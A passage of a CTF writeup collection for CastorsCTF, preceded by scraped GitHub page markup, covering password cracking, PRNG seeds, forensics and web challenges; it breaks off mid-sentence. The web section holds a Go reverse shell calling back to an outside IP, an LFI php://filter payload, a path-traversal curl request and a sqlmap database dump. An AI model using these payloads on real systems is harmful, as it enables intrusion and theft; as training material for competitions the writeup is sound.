<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span><span><span>babybo</span></span><span>/</span>babybof1<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span><span><span>babybo</span></span><span>/</span>babybof1<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/gr4n173/CTF-WriteUp/tree-commit/9f0199001fc84bb659dd880a0ff160c79abb078c/Castorsctf/pwn/babybo/babybof1" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/gr4n173/CTF-WriteUp/file-list/master/Castorsctf/pwn/babybo/babybof1"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>babybof</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
